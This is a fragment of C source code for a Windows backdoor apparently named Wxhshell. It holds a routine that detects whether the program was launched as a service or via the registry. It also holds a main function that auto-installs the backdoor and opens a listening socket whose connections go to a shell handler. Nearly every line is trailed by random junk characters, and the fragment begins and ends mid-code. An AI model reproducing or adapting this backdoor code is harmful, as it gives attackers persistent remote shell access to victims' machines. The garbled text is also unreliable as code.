DWORD BasePriority; [FUjnI
ULONG UniqueProcessId; <o2r~E0r3
ULONG InheritedFromUniqueProcessId; A]L%dFK
} PROCESS_BASIC_INFORMATION; ??hJEE
jL)WPq!m+
PROCNTQSIP NtQueryInformationProcess; KJE[+R H+z
IlX$YOf4
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %3HVFhl
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iTW? W\d
Bx[rC
HANDLE hProcess; %p&k5:4<"#
PROCESS_BASIC_INFORMATION pbi; Av0y?oGH
~j#~\Ir
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V|)>{Xdn
if(NULL == hInst ) return 0; VL9-NfeqR
-C#PQV
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n;R#,!<P
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `si#aU
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Oi"a:bCU
_=
#zc4U
if (!NtQueryInformationProcess) return 0; ;Ut+yuy
gn5)SP 8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K;7f?52
if(!hProcess) return 0; o;b0m;~
:V)lbn\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +!f=jg06
%AF5=
CloseHandle(hProcess); E&yD8=vw
crO@?m1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CukC6ub
if(hProcess==NULL) return 0; sBv>E}*R
Khh0*S8.K
HMODULE hMod; m~Ld~I"
char procName[255]; vi@Lz3}::
unsigned long cbNeeded; )m3q2W
&;LqF#ZL
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I *c;H I
0'&X
T^"
CloseHandle(hProcess); (><zsLs&
(I@bkMp
if(strstr(procName,"services")) return 1; // 以服务启动 E^w:KC2@
avmcw~
TF
return 0; // 注册表启动 2/,0iwj-
} uH3D{4
D+lzFn$3
// 主模块 lq.Te,Y%w
int StartWxhshell(LPSTR lpCmdLine) 3Q/#T1@
{ B*!WrB:s
SOCKET wsl; 4YZS"K'E
BOOL val=TRUE; zb6ju]2
int port=0; O7']
struct sockaddr_in door; x*oWa,
&iN--~}!$
if(wscfg.ws_autoins) Install(); 79zJ\B_
.@iFa3
port=atoi(lpCmdLine); 3M5#4n\v$
}U@m*dEG
if(port<=0) port=wscfg.ws_port; UDf9FnG}L
c= UU"
WSADATA data; bg|!'1bD`5
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f[gqT
yiP
\Mv":Lm1
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dQezd-y*
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =Cqv=
door.sin_family = AF_INET; DN4#H`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %}2@rLP
door.sin_port = htons(port); 4^6.~6a
7dihVvL
$
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SFH-^ly&D
closesocket(wsl); DaNW~rd{
return 1; wo5ZxM
} ]IJRnVp%
^"8G`B$r
if(listen(wsl,2) == INVALID_SOCKET) { T~sTBGcv
closesocket(wsl); ]j>i.5
return 1; OEdJc\n_R
} mq /zTm
Wxhshell(wsl); "S~_[/q
WSACleanup(); (_*
wt]"'
A`O <6
return 0; ]43[6Im
dsK&U\ej}
} Vbh6HqAHxJ
\^*<
y-jL
// 以NT服务方式启动 Y^$HrI(vq
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <